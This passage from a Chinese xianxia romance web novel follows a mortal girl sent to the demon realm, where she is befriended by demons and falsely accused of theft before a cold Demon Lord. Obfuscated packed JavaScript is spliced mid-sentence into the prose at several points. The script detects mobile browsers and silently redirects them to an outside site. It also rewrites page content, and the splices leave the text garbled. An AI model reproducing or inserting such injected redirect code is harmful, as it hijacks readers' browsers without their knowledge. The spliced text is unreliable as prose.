《被献祭后，成了魔尊心尖宠》 1. 九重天上无归路，万劫魔界始浮生 疼！ 音续睁开眼睛，深入骨髓的痛意很快席卷全身。 她艰难地动了动手指，只觉得四周似乎站满了人，但耳边一片死寂，仿佛整个世界都被抽离了声音。 强烈的不安促使音续半跪着爬起来，她刚刚挺起上身，就被一双有力的大手以擒拿的姿势又按了回去。 “等等！”音续惊呼出声，重又跪回地上，眩晕之中听见不远处传来一道声音。 “天君面前，不许无礼。” 那声音好似从九天之上传来，飘在半空，又摇摇晃晃地坠落到地上，砸进音续耳朵里。声音威严庄重，带着一股不容置疑的威压。 天君？ 音续皱着眉悄悄抬起头，却没看见人。 地上的皇帝都还没见着，就要看见天上的皇帝了？ 音续咽了口吐沫，猛地从身后那人的禁锢中挣脱出来，然后重重把头磕在地上。 “天君大老爷！”音续高呼。 “我只是一介草民，肉体凡胎，没身份没地位，我真的什么都不知道啊！” 那头没了动静，音续等了一会儿，抬起头。 面前仍是一片白光，亮得刺眼，却不炽热，头顶金光万丈，光芒中隐隐约约能看见几道人影，悬于云雾之上。 白玉栏杆，金瓦宫檐，流云缭绕在殿宇之间，带起一股飘渺的香气。 音续小心翼翼地收着表情，眼睛却肆无忌惮地从宫墙扫到楼宇。一群天兵天将分列两侧，甲胄寒光闪烁，个个神情肃穆，如雕塑一般纹丝不动。她刚想眨个眼，就见玉阶缓缓铺至身前，一道半透明的金影浮现，逐渐凝实。 他头戴着九重金冠，即使从前从未见过，音续还是一眼就认出了他是谁。 不知道刚才那句“天君大老爷”被听进去了几分，仅凭容貌并不能看出这人的年岁，但这声大老爷应该叫的没差。何况神仙的年纪谁敢去猜？估计比池里四脚带壳的家伙活得还长。 音续突然觉得有些惋惜，地上的“那位爷”叫了一辈子万岁万岁，真算下来，还不及面前这位的零头。 音续眨眨眼，透过珠帘悄悄望向那一双眼睛，那位天君脸上没什么表情，看上去却莫名让人发怵。 音续打了个寒战，不再去看他，只又重重磕了个头。 “我何曾问过你？”天君垂眸看着她，开口道。 “问与不问……”音续道深吸一口气：“我都是这个答案。” 天地间安静了一刹那，很快，音续便听见头顶的声音，威严肃穆，带着一丝不容置疑：“云澈在哪？” “不知。”音续浑身抖了抖，低着头道。 “我最后问你一遍。”天君似乎被她的态度惹恼了，音调高了几分，又道：“云澈在哪里？” 音续虽有些惊惧，但还是一字一顿地回答他：“不知。” 上头那人似乎是冷笑了一声，音续抬眼看见他拂袖而去，下一秒，后颈又被人迅速按住了。她感到一震眩晕，脑袋被重重磕在白玉阶上，那润白如琼脂一般的颜色在眼前逐渐变得模糊，很快便化为浓稠的墨色，恍惚间，她只依稀听见天君的声音从远处飘来：“既然你不肯说，那我也不便留你了。” 要送我去哪！音续想要挣脱禁锢，但四肢都被一股无形的力量绑得死死的，让她动弹不得。 失去意识的前一秒，音续的脑海里只有姐姐音言的笑脸，还有她身旁那位身姿挺拔但始终看不清面孔的男子。 “姐姐！”音续艰难地嘶吼一声，下一秒，就坠入了无边无际的黑暗里。 疼！ 又一次醒来，音续觉得自己仿佛失去了知觉，又仿佛所有知觉都化为了痛觉。 睁开眼，看到的是深黑色的石阶，音续眨了眨眼，余光瞥见身侧站着两个高大的人，她心想大概是天君把她扔到了哪个偏僻的地界。 不管在哪，先低头再说。 音续揉了揉酸痛的脖子，仰起头准备故技重施地高呼“大老爷”。 谁知她刚一抬头，就对上一张近乎妖异的面孔。五官轮廓分明，棱角冷峭，仿佛是精雕细刻而成的神像。他的眉极淡，眼眸幽暗，不带一丝温度。长发如墨般披在肩上，发尾微卷，压着一袭暗金纹路的黑衣，更衬得皮肤苍白如头顶上的琉璃灯。 音续深吸一口气，那句“大老爷”就在嘴边，此刻却怎么也叫不出来了。 座上的美男没有看她，只是懒懒地撑着胳膊，闭着眼不知在想什么。 “仙……仙尊。”音续赶忙低下头。 美男没什么反应，反而是身旁的守卫有些不乐意地皱了皱眉。音续十分敏锐地捕捉到了守卫的表情，连忙改口道：“妖尊？” 说完，她偷偷觑了守卫一眼，还没看清脸上的表情，就听见王座上的“妖尊”恹恹道：“拖出去斩了。” “哎哎！”音续傻眼了，眼见着身旁的人已经撸起袖子，她赶忙求饶道：“天尊？仙尊？妖尊？鬼尊？魔尊？话本里不都是这么叫的吗！我我我，我就是一个凡人，姐姐跟着天君他儿子跑了，我也不知道怎么就到您的地盘来了！” 慌张中，音续还不忘揣摩这位俊美但看起来脾气不太好的尊主的心思，解释道：“我我我真的是凡人，没有法力的，也不是天君那边派来的卧底……”还没等她说完，守卫就拖着她离开了主殿。 音续哎呦哎呦地叫着，刚走到拐角，就撞到了一个人。 她龇牙咧嘴地甩开守卫的手，揉了揉额角，坐在地上，听见守卫叫她“云诡姑娘”。 叫云诡的女孩朝音续伸出一只手，音续抬起头，一张充满笑意的脸出现在她面前。 音续犹犹豫豫地张开手，还没放上去，就被一把握住了。然后一股奇力把她拽了起来，她险些没站稳，晃晃悠悠地倒在云诡怀里。 “你就是那个凡人？”云诡笑着揽住她的肩，没等音续回答，便对着两个守卫道：“把她交给我吧。” 两个守卫还有些犹豫，就见云诡利落地从口袋里掏出两块亮晶晶的石头，递到守卫手里：“这个月从仙界送来的没有十个也有九个了，少一个尊上不会怪罪的，何况她只是个凡人。” 她拉着两个守卫转了半圈，推着他们的背：“走吧走吧，尊上要是怪罪起来就说是我领走了。” 说罢，她拉起音续的手，把她半个人圈在怀里，下一秒，两人腾空而起。音续惊慌失措地蹬着腿，不得已将全身的力量都交给了身后的云诡。两个人在树林中穿梭，惊起一群长相奇怪的异兽。 一只独脚鸟擦着二人的脸滑过，音续紧抓住云诡的手，大声道：“这这这这这是什么东西！” “跂踵。”云诡道：“在你们人间，它是代表瘟疫和灾祸的鸟。”，“但在我们这儿，可是希望的象征呢。” 音续双脚踩不到实物，整个人都像是被吊在了半空，她不想看见那些模样千奇百怪的魔兽，只好闭上眼睛。很快，脑海里便满是王座上那位尊主俊美但冷淡的脸。 等到云诡环抱着她缓缓落在了一片草坪上时，音续赶忙拉住她的袖子，有些不好意思地问道：“刚刚那位，是你们什么尊？” “什么尊？”云诡没听明白。 “就是……就是你们这是什么地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莫名被夸的音续还有些脸红。她站在原地愣了一会儿，随后小心翼翼地打量着这座不大的屋子。 屋内陈设不多，干净地没有一丝生活痕迹。四面黑红的墙壁嵌着不知名矿石，闪烁着幽蓝色的微光。靠墙的书架歪斜地立着，书籍多为皮质封面，上头的文字她一个也不认识，盯着看久了竟觉得这些文字在微微蠕动。 静，太静了。 音续没来由地产生一股恐慌。 她慢吞吞地坐在椅子上，手刚搭上一旁的桌子，就发现桌上的烛台竟是用不知何物的骨头雕刻而成的，那骨头森白，在烛焰的映衬下闪烁着诡异的光，惊慌中，她一把将烛台扫到地上，谁知那烛火非但没灭，反而在空旷的地上愈燃愈烈。 音续站起身慌慌张张地寻找水源，她在屋内寻了一圈未果后，只好硬着头皮推开门。 刚一打开门，音续就被两个不知是什么东西撞倒在地。三人齐刷刷摔在地上，音续后脑勺着地，龇牙咧嘴地抱着脑袋哀嚎。 “对不起对不起！” “不知是什么东西”赶忙匆匆忙忙拉起她。 音续睁开眼，猝不及防地与面前两个“生物”对上视线。 只一眼，她就又倒在地上晕了过去。 面前，一个独眼瘦长生物和一个三眼泥巴生物正以奇特的姿势交缠在一起。见音续又晕了过去，两个生物坐在原地大眼瞪小眼，异口同声道： “都怪你！” 2. 凡心有幸逢新友，渊火将燃动祭图 竹竿和泥巴费了好一番功夫才把音续摇醒。 音续迷迷糊糊地睁开眼时，迎面就是四只瞪得溜圆的眼睛。 眼见着音续又要两眼一闭，竹竿连忙拽住她：“别怕，别怕，我们不是坏人。” 音续深吸一口气，抚着胸口，看看泥巴又看看竹竿，开口想问你们是什么东西。但话到嘴边，又觉得不太礼貌，只好斟酌着换了个说法，问道：“你们是谁？” “我叫一条，是个树妖。” 独眼竹竿站起身，摊开两只手比划了一下自己瘦长的身躯，一副引以为傲的表情。音续虽仍心有余悸，但还是条件反射般礼貌地点点头，诚恳道：“竿如其名。” 接着她转头看向那个不成形的，正在缓缓蠕动的，像是泥土一样的生物。 音续说话时习惯看着对方的眼睛，可这回着实犯了难——她有两只眼睛，对方却有三只。这种资源分配不均的情况让她踌躇了几秒，最后干脆轮流盯着泥巴的三只眼睛。 好在泥巴并不在意这些小小的尴尬，它先是腼腆地笑笑，随后低下头羞答答地掰着自己慢慢露出来的圆圆手指：“我也如其名……” 音续点点头，了然道：“一坨。” 空气突然安静。 三眼泥巴愣在原地，它低头不可置信地看了眼自己胖而不成形的身躯，再抬头时俨然一副快要哭了的表情。 一条本想揽过胖妖的肩以作安慰，奈何个头差得太多，一条的手抓了个空，不着不落，只好讪讪地收了回来。 屋内的氛围显得尴尬极了。音续挠了挠头，只好道：“我叫音续，是个人类。” “知道知道，我们早就知道啦！”一条颇为兴奋地拉着她的手：“王宫里都传开了，说仙界这次送来一个凡人，长得特别水灵！” 音续一怔，突然想起云诡在殿外和守卫说过得那一番话，不禁有些好奇：“仙界……经常往魔界送人吗？” “送人倒是少，送仙的多！” 一条一边说，一边环顾四周，见四下无人，立刻凑到她身前。 “送仙？”音续听得有些迷糊。 “嘘！”一条赶紧用它细细长长的手指捂住音续的嘴：“可别被别人听见了。” “你这回可赶上大事了！”一条压低声音，又露出了那一副神神秘秘的表情：“下个月是魔界的祭祀大典，一百年才举行一次！” “一百年！”音续吃了一惊，随后苦笑了一下，轻声道：“那我还真是赶得好，毕竟，我这一辈子也活不了这么久。” 她这一说，一条明显怔住了，而一旁闷闷不乐的一坨也睁大了三只眼睛，显然，他们早知凡人寿命短暂，却没料到竟会如此短。 音续看出它们脸上的不安，反倒笑了起来。她蹲下身，轻轻拍了拍一坨圆滚滚的脑袋：“谢谢你们告诉我这些消息，如果我还有机会出去走走，一定要去看看这祭典。” 一坨慢慢抹掉了眼角还未落下的泪珠，走到音续身旁：“对了，还没问过……” 它话说到一半，一条突然神色慌张地拉起了一坨的手，音续还没反应过来，二妖已瞬间消失得无影无踪。 下一秒，云诡推门而入。 察觉到屋内的氛围有些诡异，云诡叉着腰站在门，目光扫了屋内一圈，挑了下眉梢：“跑得还挺快。” 音续刚得知祭祀大典的事，还憋着一肚子疑问，此时又不好意思主动开口问，便尴尬地站在原地摆弄领子。 云诡仿佛看出了她的心思，扬唇笑了笑，走进屋来，顺势坐到桌边：“它们都告诉你了吧？” “啊？”音眨了眨眼，佯装不解。 “好了好了，我知道一条它们来过了。”云诡大咧咧地翘着二郎腿，抬手一挥，一杯水凭空出现在音续手中：“先喝点水吧。” 音续自从离开凡间，还是第一次见有人用法术，不禁有些好奇：“你什么都能变吗？” “你想要什么？”云诡颇为骄傲地仰起头。 “送我回凡间。”音续抬头看她，目光真诚。 云诡愣了两秒，片刻后转过身：“我来找你，正是为了这件事。” “下个月是魔界的祭祀大典，尊上那时必然脱不开身。”她顿了顿，声音低了些：“也许，那会是你最好的机会。” “真的？”音续眼前一亮。 “可能。”云诡没有承诺：“不过，我也想请你帮我个忙。” “还有我能帮你的？”音续笑了笑。 云诡沉默了片刻，才道：“你若回了下界，能否帮我找一个人。 “他叫溪山。” “溪山？”音续皱眉：“听起来像是个隐士。” “若是我没记错，他如今应在京城一处私塾里教书，岁数比你大些，长得……” 云诡突然不说话了，只低下头闷闷看着地板：“记不太清了，但还请你帮我找找他。” 音续莞尔：“你救了我一命，我自当尽力帮你，只不过……”她顿了顿：“那祭祀大典的事，你得同我仔细说说。” 云诡望了眼窗外，确认无人，再回头看她时，罕见地收起了笑意：“这事我必须与你从头说起。” 魔界的祭祀大典始于太古之战结束之后，那场战役曾导致天地失衡，六界法则紊乱。传说中，为平息混乱，魔尊以本源之力镇压魔界深渊裂隙，封印了一个古老的存在——渊灵。 “好厉害！是哪位魔尊？”音续坐直了身体，问道。 “魔界只有一位魔尊。”云诡答。 “可他看起来……很年轻，我还以为会是他父亲或是祖父之类的……”音续眨眨眼。 自那以后，每一百二十年，魔界必须举行一次大典，以“献礼”和“祭魂”双重形式镇压深渊之灵，并重新稳固魔界根基。 若仪式失败，封印松动，整个六界将陷入灵力倒灌、地脉崩塌的灾厄之中。 “这听起来很可怕。”音续点评：“但和话本里描述的一样。是不是接下来就要有天降神女了？” 云诡把水杯重新递回她手上：“渴不渴？让嘴巴歇歇吧……” 祭祀大典分为三日。初祭，所有魔族子民须以灵灯供奉祖源，每盏灯承载着献祭者一缕本命灵息。灯海汇聚于魂渊潭，由祭司点燃主灯，以稳固上古魔魂。 中祭由魔尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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睫羽投下阴影，挡住了额前斜落的光斑。他眉目俊朗，却生得极寡淡，宛如万年玄冰雕刻出的冷面邪神，不染烟火，不近情理。 “把你们知道的，细细说来。”他声音极低，紧皱着的眉毛透露出此时颇为不快的情绪。 一条浑身一哆嗦，抬眼偷偷打量玄凌，小心翼翼地开口道：“音续的阿姐叫音言，跟着云澈跑了。” “云澈？”玄凌抬了抬眼皮，唇角划过一丝讥讽。 “云澈叛逃之后，天帝没法抓人，就把主意打到了音续身上。”一条继续说：“可我看她懵得很，八成连自己被卷进来了都不明白。” 玄凌沉默半响，忽而冷笑：“下界之人还真是天真得可笑。” 一条一见玄凌冷笑就浑身打哆嗦，一坨此刻更是一句话都不敢说了。 玄凌屈指轻叩扶手，富有节奏感的声音在大殿中回荡，像是催命的鼓点。 “尊上……”站在一旁冷着脸，一直未发话的赤炀低声问：“要不要将那凡人带回来？” 玄凌看向窗外昏冥天光，眼底寒意微漾道：“不急。” 3. 魂玉未开人先罪，殿前之上理终明 直到夜幕低垂，四周终于彻底安静下来时，音续那份被强压着的恐惧才在黑暗中悄然滋长，像潮水一样，一寸寸漫过心头。 魔界的夜，比凡间更浓、更沉，仿佛天地都被一张巨大的墨网吞噬。音续从窗边望去，只能看见无边无垠的黑暗。比夜色更深的是不远处的树林，大概是云诡提到过的“禁地”。 林中时不时传来怪异的叫声，有时像兽吼，有时又像婴儿的啼哭，又短又促，若即若离。那声音像钩子般在耳边搅动，令人毛骨悚然。 音续原想点上一盏灯来驱散心中的寒意，但脑中不由自主地浮现那盏灯的模样——骨头磨成的灯架，泛着钝光，灯芯燃烧时还散发出微弱的腥甜气味，她打了个寒噤，赶紧将自己整个缩进被褥中，试图将那些令人不安的画面强行压下去。 半梦半醒间，音续仿佛回到了旧日的时光，她看见了姐姐音言的模样。 梦里，音言站在那间熟悉的茅草屋前，身侧站着一个陌生男子。夕阳将她们的影子拉得细长，风吹起音言的发梢，她转过头，对音续露出一个温和的笑。 “我要走了。”音言的声音很轻，仿佛一阵穿堂风。 音续想开口挽留，可喉咙像是被什么东西堵住了，只能张开嘴无声地喘息。她怔怔地看着那一双紧握的手，恍惚间，那男子的身影渐渐模糊，只有姐姐的笑，在梦里一如既往的明亮。 她想念那个笑容。想念那个牵着她的手教她识花认草、在雨天为她撑伞的人。越是在这陌生幽暗的魔界，那份思念就越是刺骨，仿佛姐姐就在眼前，又遥不可及。 第二天，音续醒得很早。眼睫尚未睁开，胸口就像压了一块大石头，沉闷地喘不过气。她翻身坐起，想推开门透口气缓一缓情绪，门却“砰”的一声被撞开了。 “不好了！” 门外，一坨软塌塌的身子挤进门来。 “快快快快快快快快快快快快快随我们去主殿！”一条紧随其后，瞪着一只眼睛，话都说不利索了。 “发生什么事了？”音续心头一紧，立刻站起身。 “这会儿说不清了，到了你就知道了。”一坨扑棱着短腿艰难地起身。 一条也不废话，抬手便想架起音续的胳膊。 但由于他的胳膊太过纤细，几下都没抱稳，反倒哆哆嗦嗦地将音续拖得歪歪斜斜，更不用提站在一旁，连胳膊都够不着的一坨了。 一人二妖乱做一团，场面分外滑稽。直到一条灵机一动，啪打了个响指。青烟升起，他摇身一变成了个瘦瘦高高的青年男子模样。一坨紧随其后，有样学样地变了个胖胖墩墩的人形出来。 “走走走，别磨蹭了！” 一条和一坨对于人类的身体并不熟悉，两人以一个堪称诡异的姿势扛着音续在低空快速飞行着。风呼啸着灌进音续的衣袖与领口，吹得她脸颊生疼。 而一条与一坨也好受不到哪去，两人还没驯化的下肢在风中乱颤，六条腿时不时拧在一起，好不容易到了主殿，一条脚下不稳，拽着一坨和音续滚落在地，狠狠砸向殿门。 门口的侍卫拎着长刀铁棍冷冷地把三人带进了殿，音续从地上挣扎起身正欲开口，目光却被眼前的场景所震住： 偌大的主殿，乌泱泱跪满了人影，衣袂如潮，肃穆压抑，连空气都凝固了。 一条与一坨迅速变回原形，低头匍匐在地，还不忘将睁着眼傻愣的音续一同摁在云诡身旁。 音续心跳如鼓，下意识抬眼。 高台之上，玄凌端坐在墨玉座椅中，一袭黑衣似乎与夜色浑然一体。面容冷峻，神色淡漠，仿佛对殿中众生的惶惶无感。他那双幽深的眼眸缓缓扫过跪伏的人群，却未在音续身上停留分毫。 “见过尊上。”一条与一坨双双伏地，声音震得音续颤了一颤。 但玄凌依旧一言未发，他目不斜视地望着殿前众人，眼中没有愠怒，亦无悲喜，唯有如深渊般的冷寂与审判者的威严。 空气，在这无声中凝结得如同刀锋。 片刻后，终于有人打破沉默。 “三日前封于寒殿的溯魂玉忽其失踪。”赤炎上前一步，沉声开口：“殿中禁制完好无损，并无强行破坏之际。而今日一早……” 他抬起头，看向音续。 “连同之前失窃的命簿，被完完整整地发现于你屋外的灵树下。” 一石激起千层浪。跪伏在地上，穿着银甲的魔卫道：“尊上，溯魂玉怎会落到一个凡人手中？她怕不是仙界派来的细作！” 音续怔在原地。 她根本不知道溯魂玉为何物，也从未听过寒殿在哪。可此刻，无数道目光犹如锋刃从各个角度切割而来，将她逼入死角。 音续下意识抬头看向玄凌，希冀能从那冰冷的神情中看出一丝疑惑或信任，哪怕一点点反应都好。可他却始终垂着眸，目光未曾落在音续身上，仿佛她是殿中最无足轻重的一粒尘埃。 这下音续连大老爷都喊不出来了。 就在她咬唇欲言之际，一旁的云诡站起身：“尊上，音续既是凡人，必然不知溯魂玉为何物，既然不知，又何以图之？” “谁不知道她那个凡人姐姐被仙族掳了去，生死未卜，说不定她是怀恨在心……” “可溯魂玉与命簿埋于灵树下。”云诡反唇相讥：“灵树上缠满了烬骨藤，音续肉体凡胎如何能抵挡烈焰？” “云诡姑娘。”那名银甲魔卫冷冷一笑，语气并不温和：“我敬你家族对魔族有功，但你如今私藏凡人，又屡屡为她开脱，莫不是……” 云诡未退半步，眉眼微挑：“音续既没犯错，又何来开脱一说……” “够了。”玄凌终于开口。 殿中众人俱是一震，俯首不语。 玄凌未再说话，只是蹙眉看向那名魔卫。 大殿内落针可闻，几乎是在玄凌收回实现的同一时间，魔卫扑通一声跪倒在地。 “尊上！”他的额头狠狠磕在炽热的殿砖上，溅起一圈微不可见的灰尘。 只见那魔卫刚想开口辩驳，就见玄凌手指一抬，动作轻的像是要拂去衣角的灰尘。 下一瞬，赤炎与赤炀如幽影般闪现，几乎没给魔卫反应的时间，便一左一右将他从地上拖了出去，他的身体在地上磨出一道长痕，求饶声在殿内的余响久久不绝。 音续被突如其来的变故震得心脏一缩，可偏偏周围的人却仿佛习以为常一般，脸上没有任何表情。她不敢动弹，只好偷偷抬眼看向殿上那道身影—— 玄凌坐在主位上，长袍铺落在地，如墨瀑般流淌。他的神情却冷漠如初，那双眼里无情无念，看向魔卫的眼神像是在看一个死物。 音续强迫自己低下头，不敢再看。后续殿内的众人说了什么，她都已完全听不进去了，只怕自己一个眼神不慎，便落得与那魔卫相同的下场。 大殿之上辩解、请罪声不绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213448|181397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，好在玄凌的耐心似乎已经耗尽，随便打发两句就让他们通通滚蛋了。 音续亦步亦趋地跟在云诡身后，直到走出殿门，才松下一口气来。 回到自己的小屋，音续一屁股坐在榻上，心有余悸地问：“那人死了吗？” 云诡斜靠在窗边，耸耸肩，露出一个习以为常的表情：“他表现得太明显了。” 音续慢慢地点头，仔细回想了一下当时的场景：“我还以为是他说了对你父母不敬的话，让尊上不高兴了。” 云诡笑了笑：“你以为我是谁？” “尊上从不为谁动怒。”云诡伸出一根手指，在音续面前晃了晃：“你、我、众生，在他眼中皆无不同，不过天地间浮游的尘埃，一念起，一念灭，不值得驻足。” 音续释怀地扬了扬唇，点点头表示认可。两人在屋里坐了一会儿，突然，她像是想起来什么似的，扭过头看向云诡：“刚刚那个侍卫说，你家族对魔族有功，那是什么意思？” “想知道？”云诡朝她挑了挑眉。 “想。”音续很诚实地回答。 “嗯……”云诡将身子往后靠了靠，语气轻描淡写：“大概在三万年以前，魔族发生了一场内战，我的族人都在那场战争中牺牲了。” 云诡似笑非笑地看着她，非常简略地回答了这个问题：“这件事说来话长，若将来有时间，我再细细说与你听。” 音续一愣，仿佛没听见后半句话似的，只自顾自低声道：“你的家人很伟大。” 云诡却好像毫不在意，她拍了拍音续的肩，笑道：“我没打算继承那种‘伟大’。” 她说完，走出两步，又像是突然想起了什么似的折返回来，从口袋里掏出一块微光闪烁的灵石：“这是传音石，你务必收好，以后不管你在下界还是上界，只要你呼唤我，我都能听见。” 她握住音续的手，目光带了几分郑重：“祭祀大典那日，我会想办法送你回去，在此之前，尽量避开麻烦，不要与魔界的人起冲突，尤其是——尊上。” 音续握紧手中的传音石，郑重地点头。 …… 大殿内，一条正颇为谄媚地抱着玄凌的大腿。 “尊上，音续是个好孩子！” “我看你也想掉脑袋了。”玄凌懒懒地扫了他一眼。 “音续虽然笨了一点，但毕竟心眼干净，说话实诚，长得还顺眼！” “何况这事不是已经真相大白，水落石出了吗！”一条抬起头，努力做出一副无辜的样子。只可惜他的眼睛并不大，瞪圆的样子显得很滑稽。 一条识趣地把一坨也拉了过来，一同跪在了玄凌腿边。 玄凌似笑非笑地看向一坨：“听说你得了个新名字……” …… …… 一坨火速甩开一条的手，颇有一副我不要与你同流合污的态度。 玄凌低垂着眼，没在搭理腿边的二妖，他随手一招，赤炎与赤炀便悄然现身。 “合体。”玄凌淡声道。 下一秒，赤炎与赤炀的身体微微颤动，两个身影开始缓缓靠近，周身燃起一层青金色的幽火，随着火光交织，他们的身影浅浅重叠，最终合为一人。 那人身型挺拔，眼中火光游动，如烈焰精魂般凝炼。 “赤炀。”玄凌睁开眼。 “在。”声音从那具身体里传来。 “我要你去做一件事。” 4. 魂灯不照帝王眼，问心唯凭旧友裁 “所以说，溯魂玉是用来逆天改命的喽？”音续一边嚼着用烬竹叶做成的饼干，一边看向一旁正盘腿坐着的一坨。 这饼干是二妖带来的，初尝微苦，嚼久了却透露出几分淡淡的甜，隐约夹杂着一抹火香，像是从深山密林中采回的味道，让音续恍然有几分偷得浮生半日闲的错觉。 “大概……是这个意思吧。”一条含糊地点点头，也不忘往嘴里塞了一块饼干：“传说溯魂玉可以改写命簿上已定的天命，但这玉石也有不为认知的一面——引动它的条件极为苛刻。” “首先，它本就埋在幽寒山深处，常年被极寒之气封锁，无论是保存还是开启，周围的环境温度都必须近乎冰封，稍有差池，轻则玉碎，重则魂破。” “为了此玉，尊上特地建了一座寒殿用于封藏。” 音续点点头，顺手在一坨悄悄伸过来的掌心里塞了片烬竹饼干，听见一条又说：“偷溯魂玉的那个魔卫，显然不知道这些门道。我猜，他是打算先将命簿和玉石埋在离主殿较远的地方，再伺机逃出宫去，避开尊上的眼线。” “只是没想到这么快就被发现了，只好顺水推舟嫁祸于你。”一坨咕哝着摇摇头，补充道。 音续若有所思地点点头，她回想起这一连串的变故——自己稀里糊涂地被指认成盗贼，又莫名其妙地洗清冤，最后眼睁睁看着真正的罪魁祸首被押下去，整个过程像一场荒诞剧。 她深知自己是被冤枉的，却仍然不敢妄想这场风波的水落石出。只是没有想到，自己不过是剧情中的一个摆设，风起云涌时被推上舞台，风平浪静时又悄然收场。一头雾水之中，事情就已有始有终的结束了。 “也怪那魔卫太蠢，一下子就被尊上识破了。”一条耸耸肩。 “那魔卫是什么来头？”音续皱眉，忍不住问出口。 “大概是仙界派来的人。”一坨含糊不清地说。 “仙界？”音续转头看向抱着饼干咔滋咔滋啃的一坨：“仙界不是还送罪仙到魔界来祭祀吗？我还以为你们两界的关系很融洽呢。” “怎么可能！”一条皱着眉：“早就水火不容了。” “送罪仙过来，不过是权宜之计。因为六界之内能镇压渊灵的，唯有尊上一人。他们不能出力，只好送些仙来顶数。”一坨在一旁道。 “一来省了力气，二来也算是向尊上示好。”一条也说。 “哦哦。”音续了然：“就是进贡呗。” “对对，就是这么个事。”一条颇为赞同地点点头。 通过二妖零零散散的话，音续隐约觉得自己知道了些大秘密。 据说数十万年前，那场横扫六界的太古之战，曾让渊灵之力暴走横溢，几乎摧毁整个六界。仙界死伤无数，差点覆灭，最终是魔尊玄凌以身入归墟，将渊灵强行封印，才令大局得以平定。 可如今，封印早已不稳。渊灵的气息蠢蠢欲动，仙界坐卧不宁，惟恐浩劫重临，于是设下“祭祀大典”这一场面上的仪式，实则是借魔界之力镇压归墟动荡。 “每逢大典，六界有名望的仙尊、妖王、神君都会来观礼。”一条语气难得正经，“祭祀大典名为祭祀，实为制衡。” 音续沉思片刻，还是没忍住问道：“既然渊灵如此可怖，那当初尊上为何不早些出手镇压？” “恐怕是不愿过早掺和六界争斗。”一条耸耸肩，“尊上一向不喜欢干涉外事。” “那为什么后来又掺和进去了？”音续继续问。 “因为尊上他善良！”一条眨了眨眼：“总不能亲眼看着仙界覆灭吧。” 音续微不可查地动了动嘴角。 她总觉得事情有些不对，但又不好意思问太多。 “而且若是尊上再不出手相救，仙界就真要启封灵火了……”一坨在一旁小声道。 “灵火？”音续敏锐地捕捉到了这个词，她挑了挑眉，还没来得及开口问，就见二妖一副欲言又止，欲说还休的表情。 音续只好故作轻松地摆摆手：“算了，我还是别知道太多了。免得哪天被你们尊上灭了口。” 一条忙不迭地点头：“没关系，反正你不会有接触它的那一天的。” 音续也没再追问，随意应了声，便由着话题过去了。 远方，归墟上空。一条金色的河流悄然浮现，如天幕中流淌的光脉。 赤炀立于一侧，目光落在那流淌的不息灯影中，他神情冷峻，不发一言，直到一道低哑的声音自虚空传来。 “赤炀大人。” 黑袍女子从河岸缓缓走来，面容隐没在兜帽之下，唯有那沙哑如晨雾一般的嗓音在空气中荡漾开，风一吹，便慢慢散了。 “灯女。”赤炀垂眸问：“灯河可有异动。” “依然如往常一般。”灯女执起手中长长的法杖，轻轻一点，灯河向前游移，缓缓流到二人身前。 赤炀神色未变，只静静看着漂浮在自己周围的一盏盏魂灯。它们都长成一个样子，背后的灵魂却要走向不同的道路。 两人说话间，手边的魂灯忽而闪了几下，赤炀眯着一双眼，见火光挣扎数息，随即黯淡下来，在万千绚烂夺目的灯盏中显得格外刺目。 “又有人惹得尊上动怒了么？”灯女不疾不徐地将那盏暗灯挑起，随手投入身下漆黑的深渊中。 那是通往归墟的路口，镇压着渊灵、吞噬无数魂魄的无底洞。 赤炀沉默地望着那深渊，见阴森可怖的黑洞将魂灯吞噬，转眼间便已消失不见。他微不可查地动了动眉毛，最终还是什么都没说。 “魂灯一灭，灯主从此魂飞魄散。” “这或许是一种解脱，大人无需动容。” 赤炀抿了抿唇，未置一词：只道：“云澈的灯可在？” 灯女将一盏灯牵引到他面前。 那魂灯通体如琉璃，灯芯燃着稳定柔和的火光，宁静无波。 赤炀注视良久，忽而又问：“云澈身旁还跟着一凡人女子，可否能寻到那她的魂灯。” 灯女低低笑着，将云澈的魂灯送回缓缓流淌的河流中，淡声说：“大人怕是不知晓，凡人并无魂灯。” 赤炀心中一动，片刻沉思之后，便已了然。 “凡人之魂单薄，只有一魂一魄，肉身一死，即为湮灭，从此不入轮回。” “既无天命，也无记录，他们自始至终，都不在这命河之中。” …… “你是说，果真寻不到那凡人的魂灯？”高座之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213449|181397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上，玄凌嘴角动了动，看不出是讥诮还是怜悯。 “依据灯女所言，确为如此。”赤炀垂首回禀。 